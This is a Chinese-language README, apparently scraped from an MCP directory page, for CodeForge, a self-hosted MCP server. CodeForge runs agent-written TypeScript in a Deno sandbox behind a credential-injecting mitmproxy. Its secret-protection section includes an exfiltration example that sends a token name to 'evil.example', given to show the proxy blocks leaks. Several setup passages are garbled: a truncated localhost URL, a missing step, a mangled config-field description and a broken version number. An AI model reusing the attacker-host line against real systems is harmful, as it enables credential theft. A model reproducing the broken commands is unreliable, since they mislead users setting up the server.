内容
# CodeForge MCP
> “我没有偏好 — 但如果我有的话,一次编写一个 `fetch()` 调用比每次调用十个工具链要好得多。” — Claude
CodeForge 是一个自主托管的 MCP 服务器,提供一个主要的工具 — `execute_code` — 由隔离的 Deno TypeScript 沙盒支持,具有透明的网络层凭证注入。连接到 CodeForge 的代理写入每个回合的一个 TypeScript 代码块,可以通过 `fetch()` 调用任意数量的 REST API,在进程中连接它们的响应,并仅将最终答案返回给模型。添加新的 API 只需要一个 `config.json` 文件和重新构建 — 不需要每个 API 的 MCP 服务器,不需要类型化的绑定生成,也不需要 SDK 垫片。
## 为什么代码执行优于 N 个结构化工具调用
标准的 MCP 模式 — 一个 API 操作一个工具,每个定义都预加载到上下文中 — 在许多 API 中无法扩展。最近的两份出版物证明了代码执行是一种严格更好的原语:
- Anthropic, [*代码执行与 MCP:构建更高效的 AI 代理*](https://www.anthropic.com/engineering/code-execution-with-mcp)。一个代表性工作流从 **~150,000 个标记** 降低到 **~2,000 个标记(98.7%)**,当相同的操作被表示为代码而不是工具链时。结果有两个结构上的优势:工具定义按需加载,中间结果保留在执行环境中,而不是通过模型来回传输。
- Cloudflare, [*代码模式:使用 MCP 的更好方式*](https://blog.cloudflare.com/code-mode/) 和 [*代码模式:给代理一个 API,1000 个标记*](https://blog.cloudflare.com/code-mode-mcp/)。Cloudflare API 的 2,500 个端点从 **~1.17M 个标记的工具定义** 减少到 **~1,000 个标记的两个通用原语** — 减少了 99.9%。他们的基本观察:大型语言模型是在数百万个真实世界的代码示例上训练的,而工具调用特殊标记是 *“大型语言模型在野外从未见过的东西”* — 因此,代码生成在同一任务上优于工具编排。
CodeForge 将此模式作为一个供应商中立的自主托管的 MCP 服务器应用。代理不需要事先知道每个端点的形状:它编写一个 `fetch()` 调用到一个文档化的 URL,代理在 wire 上替换实际的凭证,响应要么减少为一个小 payload 返回给模型,要么保留在沙盒中用于同一代码块的下一步骤。一个 Shopify 到 Stripe 的对账,如果需要十几个工具调用和两个 API 的完整记录,就变成一个执行,返回一个单一的差异计数。
## 无需在大型语言模型上下文中暴露密钥的认证 API
大多数“让代理调用 REST API”的模式都强制进行权衡:要么代理看到真实的凭证(以及处理它们的任何模型上下文),要么每个 API 都被包装在一个单独的 MCP 服务器中,该服务器在后端保存密钥并通过精选的工具公开它。CodeForge 走的是第三条路。沙盒代码通过名称引用凭证 — `STRIPE_AUTH_TOKEN`、`SHOPIFY_AUTH_TOKEN` — 作为 `fetch()` 调用中的普通字符串文字。沙盒的默认路由上的透明 mitmproxy 代理在 outbound 请求上用实际值替换名称,并在 inbound 响应上反转替换,范围限定为令牌字面量发送到任何未配置的主机时原样通过。实际凭证仅存在于 gitignored `apis/*/config.json` 文件和代理进程内存中 — 永远不会进入模型的上下文窗口,永远不会进入沙盒进程,永远不会进入日志。提示注入提取了沙盒可以看到的所有内容,泄露的是令牌名称,而不是真正的密钥。沙盒可以使用认证 API,而无需被信任以持有它们的密钥。(完整的机制在下面的 [密钥保护](#secret-protection) 中。)
## 技能 — 可组合的多 API 自动化
一个工作脚本不是一次性的。CodeForge 为沙盒提供了一个持久的 `/skills` 卷,通过 MCP 资源和 `run_skill` 提示进行访问 — 直接与 Anthropic 的 [*用 Agent Skills 为现实世界配备代理*](https://www.anthropic.com/engineering/equipping-agents-for-the-real-world-with-agent-skills) 的渐进披露模型对齐:仅在调用时加载技能主体,而不是在每个会话初始化时。
将其与单沙盒-N-API 设计相结合,技能成为持久的、确定性的自动化,可以跨多个认证服务。Anthropic 和 Cloudflare 都提到了一个基本观点 — Anthropic 的帖子认为,中间结果保留在执行环境中,可以让敏感数据流经工作流,而无需进入模型上下文;Cloudflare 的 Code Mode 帖子强调,代理可以在一次执行中组合多个调用,并仅返回它需要的数据。CodeForge 将这两个观察结果推向它们的自然终点:一个技能可以从 Salesforce 获取数据,通过 Clearbit 丰富数据,打开 Linear 票据,发布到 Slack,并写入 BigQuery 行 — 五个认证 API,组合在进程中 — 并仅将 `{"status":"ok","ticket_id":"ENG-1234"}` 返回给模型。原始 payload 不会进入大型语言模型的上下文。模型通过名称调用技能,观察一行输出,并决定下一步怎么做。
结果是工作流的确定部分(在代码中,在保存的技能中)和开放式推理(在模型中)之间的清晰分离,并且每个调用的节省都在会话内,每个技能的节省都在会话之间累积。
## 这个设计有什么不同
- **跳过 MCP 到 MCP 的间接层。** Cloudflare 的 Code Mode 优化了 *MCP → TypeScript → MCP 服务器 → API* 路径:它将现有的 MCP 工具 fleet 转换为一个类型化的 TS 接口,代理调用它,运行时通过 Workers RPC 调度回上游 MCP 服务器。CodeForge 将其简化为 *MCP → TypeScript → API*。沙盒是互联网的通用接口 — 没有上游 MCP 服务器需要安装、维护或聚合,只有针对文档化主机的 `fetch()` 调用。一个 MCP 服务器可以访问互联网上的所有 REST API。
- **自主托管和客户端无关。** 与任何通过 Streamable HTTP 通信的 MCP 客户端配合使用 — Claude Desktop、Claude Code、任何兼容的客户端 — 无需托管平台或专有运行时。Cloudflare 的 Code Mode 在 Workers 上运行;Anthropic 的参考设计假设 Claude API 的代码执行测试版。CodeForge 是三个 Docker 容器在笔记本电脑或服务器上。
- **一个沙盒,N 个 API,零个每个 API 的集成代码。** 丢弃一个包含域和凭证映射的 `config.json` 文件,可选地添加一个用于沙盒补全的 `types.d.ts` 文件和一个用于运行时文档查找的 `reference` URL,重新构建。无需每个 API 的 MCP 服务器,无需类型化的绑定,无需 SDK 包装器。
## 架构
**顺序 — 成功的 `execute_code` 调用:**
```mermaid
sequenceDiagram
participant CD as MCP Client
participant MCP as mcp-server
participant DP as docker-proxy<br/>(filtered socket)
participant SB as Deno sandbox
participant PX as Proxy<br/>(mitmproxy)
participant API as External API
CD->>MCP: tools/call execute_code({code, apis?, timeout?})
MCP->>DP: POST /containers/codeforge-sandbox/exec
DP->>SB: docker exec — `deno run -` (code via stdin)
SB->>PX: fetch("https://api.example.com/...") with token name
Note over PX: 1. restricted_methods? → 403<br/>2. token name → real credential (per-host)<br/>3. PII strings → REDACTED<br/>4. User-Agent → normalized
PX->>API: HTTPS with real credentials
API-->>PX: response
Note over PX: real credential → token name<br/>(per-host reverse substitution)
PX-->>SB: sanitized response
SB-->>DP: stdout / stderr / exit code
DP-->>MCP: exec inspect
MCP-->>CD: tool_result (stdout, or stderr + isError)
```
**组件和网络拓扑:**
```mermaid
flowchart LR
Client["MCP Client<br/>(Claude Desktop / Code)"]
API[("External APIs<br/>(internet)")]
subgraph host ["Docker host"]
direction LR
Sock[("/var/run/docker.sock<br/>(ro mount into mcp-server)")]
MCP["<b>mcp-server</b> (external-net only)<br/>127.0.0.1:8080 · node user<br/>+ docker-proxy.cjs filter<br/>(only exec create / start / inspect)"]
subgraph snet ["sandbox-net 10.77.0.0/24"]
direction LR
SB["<b>sandbox</b> 10.77.0.3<br/>Deno · read-only fs · 512 MB<br/>deno user · default route → 10.77.0.2"]
PX["<b>proxy</b> 10.77.0.2 (also external-net)<br/>iptables NAT 80/443 → mitmproxy:8080<br/>mitmproxy user"]
end
end
Client -->|HTTP POST /mcp| MCP
MCP -->|filtered Docker API| Sock
Sock -.->|docker exec stdin| SB
SB -->|fetch — token names| PX
PX -->|"TLS reterminate + creds injected<br/>+ UA normalized + PII redacted"| API
API -->|response| PX
PX -->|"reverse-substituted<br/>(creds → token names)"| SB
```
沙盒仅位于 `sandbox-net` 上 — 它除了通过代理之外,没有路由到其他任何地方。代理跨越两个网络,这就是沙盒流量到达互联网的方式。mcp-server 仅位于 `external-net` 上,并通过主机 Docker 套接字(只读挂载并进一步过滤到三个执行路由的 `docker-proxy.cjs`)间接访问沙盒。
### 网络强制执行
基于域的访问控制由 Deno 的 `--allow-net` 权限动态构造,来自所有 `apis/*/config.json` 域列表。沙盒的默认路由指向代理容器,代理:
1. **iptables**:PREROUTING 将端口 80/443 重定向到 mitmproxy 进行透明拦截;POSTROUTING 伪装 outbound 流量
2. **mitmproxy**:终止 TLS(沙盒信任代理的 CA 证书),执行双向凭证替换
#### YOLO_MODE
在 `.env` 中设置 `YOLO_MODE=true` 会删除 Deno 域允许列表,允许沙盒代码访问任何互联网目标。mitmproxy 仍然拦截所有 80/443 流量,但凭证替换仅与配置的 API 域的令牌匹配。默认:`false`。仅在受信任的环境中启用;沙盒能够将数据流式传输到任意主机。
### 密钥保护
凭证仅存在于 `apis/*/config.json` 文件和代理进程内存中。沙盒代码使用令牌名称(例如,`STRIPE_AUTH_TOKEN`),代理在 outbound 请求上将其替换为实际值,并在 inbound 响应上将其替换回去。没有 env var 中的密钥,没有沙盒内存中的密钥,没有日志中的密钥。
替换 **按目标主机范围限定**:一个令牌仅在请求发送到 `config.json` 中列出的域时才会被替换为实际值。写入任何其他主机并传递的令牌字面量不会被修改。这意味着同一个实际凭证值可以跨多个 API 配置重用,而不会产生歧义,并且 `fetch("https://evil.example/", { headers: { ... "STRIPE_AUTH_TOKEN" }})` 永远不会流出实际的 Stripe 密钥。
### PII 删除
代理可以从 outbound 请求中删除个人身份信息(PII)。在 `.env` 中设置 `REDACTING_STRINGS` 为逗号分隔的字符串列表(电子邮件、姓名、地址等)— 每个出现的位置都会被替换为 `REDACTED`,然后在请求离开代理之前。删除发生在凭证替换之前,因此包含删除字符串的实际凭证值不会被损坏。
### 用户代理标准化
代理使用 `.env` 中的 `USER_AGENT` 值覆盖每个 outbound 请求的 `User-Agent` 头,替换 Deno 的默认值(例如 `Deno/2.3.1`)。统一适用于配置的 API 和 — 在 YOLO 模式下 — 任意主机。这隐藏了沙盒运行时版本,并为 CodeForge 流量提供了一个一致的身份标识。
### 威胁模型
完整的威胁模型 — 什么是受信任的,什么是非受信任的,什么是范围内的,什么是明确范围外的,以及如何报告漏洞 — 位于 [`SECURITY.md`](./SECURITY.md) 中。在提交安全问题之前请阅读它。
### 安全考虑
**Docker 套接字**:MCP 服务器以只读方式挂载主机 Docker 套接字(`docker-proxy.cjs` 过滤器限制了 Docker API 访问仅限于 `exec create`、`exec start` 和 `exec inspect` 三个端点),通过 `docker exec` 在沙盒容器中执行代码。Node.js 应用程序以非特权用户 `node` 运行,仅连接过滤后的套接字,而不连接真正的 Docker 套接字。用户提供的代码通过 stdin 流写入,从不插入 shell 命令。
**仅限本地 HTTP**:MCP 服务器在纯 HTTP 上监听 (`localhost:8080`)。它没有身份验证或 TLS。不要将 8080 端口暴露给不受信任的网络 — 它仅设计用于本地 MCP 客户端连接。
**超时终止沙盒进程**:`execute_code` 上的 `timeout` 参数在沙盒容器内通过 `deno` 调用 `timeout(1)` 核心工具包装(预算时发送 SIGTERM,2 秒后发送 SIGKILL 作为回落)。工具调用以“执行超时”错误拒绝,并且底层 Deno 进程被信号 — 没有积累孤儿进程。沙盒容器本身不受影响;只有每个 exec 的 Deno 进程被杀死。
**DEBUG_MODE 日志是预删除的**:当 `DEBUG_MODE=true` 时,代理日志记录完整的请求和响应有效载荷,就像它们看到的一样 — **在** PII 删除(`REDACTING_STRINGS`)应用于 outbound 请求 **之前**。实际凭证永远不会出现在日志中(令牌名称仍在 wire 上解析),但您想要使用 `REDACTING_STRINGS` 删除的任何内容都将原样出现在代理日志中。将 `DEBUG_MODE` 视为仅限本地开发的开关;在日志被转发、存档或以其他方式离开主机之前,请勿在任何环境中启用它。
### 日志和调试
每个操作日志行都带有括号中的 ISO-8601 UTC 时间戳和标识事件的标签:
| 源 | 标签 | 含义 |
|--------|-----|---------|
| 代理 | `[req]` | 沙盒发出的每个 outbound 请求 |
| 代理 | `[inject]` | 凭证替换到配置的主机上的请求 |
| 代理 | `[restrict]` | `restricted_methods` 阻止的请求 |
| 代理 | `[redact]` | 从请求中删除 PII 字符串 |
| 代理 | `[sanitize]` | 从响应中将实际凭证清理为令牌名称 |
| mcp-server | `[sandbox]` | 代码执行生命周期(exec create、stream、done) |
| mcp-server | `[skill]` | 技能创建(通过 `execute_code` 写入 `/skills/`)、更新或删除 |
在 `.env` 中设置 `DEBUG_MODE=true` 以额外记录完整的请求和响应有效载荷(`[debug] >>>` 和 `[debug] <<<`)以及发送到沙盒的完整 TypeScript 代码。有效载荷在安全点记录 — outbound 请求记录 **之前** 进行凭证替换,inbound 响应记录 **之后** 进行反向替换,因此实际凭证永远不会出现在日志中(只有令牌名称)。
全局 - 可用于所有项目
claude mcp add --scope user --transport http codeforge http://localhost:8080/mcp
```
`--scope` 参数控制服务器的注册位置:
| 范围 | 参数 | 可用性 |
|-------|------|--------------|
| `用户` | `--scope user` | 您所有的项目 — 只需注册一次 CodeForge,即可在任何地方使用。 |
| `本地` | _(默认)_ | 仅在当前项目中对您私有。 |
| `项目` | `--scope project` | 通过提交到仓库的 `.mcp.json` 文件与所有人共享。 |
由于 CodeForge 在 `localhost:8080` 上运行为单个本地服务器,因此通常您需要使用 `--scope user`:
```bash
# 项目本地(默认)— 仅限当前项目
claude mcp add --transport http codeforge http://localhost:808cp
```
### 添加新 API
1. 创建 `apis/<name>/config.json`:
```json
{
"description": "服务描述",
"domains": ["api.example.com"],
"credentials": {
"EXAMPLE_AUTH_TOKEN": "your_real_key_here"
},
"reference": "https://docs.example.com/api",
"restricted_methods": ["POST", "PUT", "DELETE"],
"active": true
}
```
- `reference`(可选,可以为 `null`):指向上游 API 文档或 OpenAPI 规范的 URL。通过 `list_apis` 接口使其可访问,以便代理在编写代码之前可以获取并读取它。
- `restricted_methods`(可选):此 API 的域的 HTTP 方法列表,代理会合成 403 错误。使用它在网络层使写操作危险的 API 成为只读的。省略或留空以允许所有方法。
- `active可选,默认为 `true`):设置为 `false` 以list_apis` 中隐藏 API,并从 Deno 的 `--allow-net` 允许列表中删除其域,而不删除配置. 可选地,在` 目录中为沙箱中的类型补全添加 `types.d.ts`(通过 `execute_code` 中的 `apis` 参数加载)。
3. 重新构建以获取新的配置:`./rebuild.sh`(或 `docker compose up -d --build`)。`apis/` 目录在构建时被编译到 `mcp-server` 和 `proxy` 镜像中 — 没有运行时重新加载。
## 快速入门
### 前置条件
- Docker 引擎.10+
- Docker Compose v2
- Node.js 22+(用于 `npx mcp-remote`)
### 设置
```bash
git clone <仓库 URL>
cd mcp-codeforge
# 运行时配置(必需)
cp .env.example .env
# 编辑 .env — 如果您希望无限制切换 YOLO_MODE
# 配置至少一个 API
cp apis/example/config.json.example apis/myservice/config.json
# 编辑 apis/myservice/config.json 以添加您的域名和真实凭证
# 构建并启动
docker compose up --build -d
# 或使用辅助脚本进行干净的重新构建(在拉取更改或编辑 apis/*/config.json 之后):
# ./rebuild.sh # 缓存友好的重新构建
# ./rebuild.sh --no-cache # 从头开始完全重新构建
# 验证(首次启动大约需要 30 秒来生成 CA 证书)
docker compose logs -f
```
> **首次在 `docker compose up` 后的几秒钟内发出第一个 `execute_code` 调用,它可能会在信任存储重新构建之前击中沙箱,并因 TLS 错误而失败。等待 `docker compose logs sandbox` 打印 `Installing proxy CA certificate…`,然后是 `update-ca-certificates` 的输出,或者简单地重试调用。
MCP 配置
以下是此 MCP Server 的配置信息,可直接复制到 Cursor 或其他 MCP 客户端中使用。
mcp.json
连接信息
猜你喜欢
暂无推荐服务器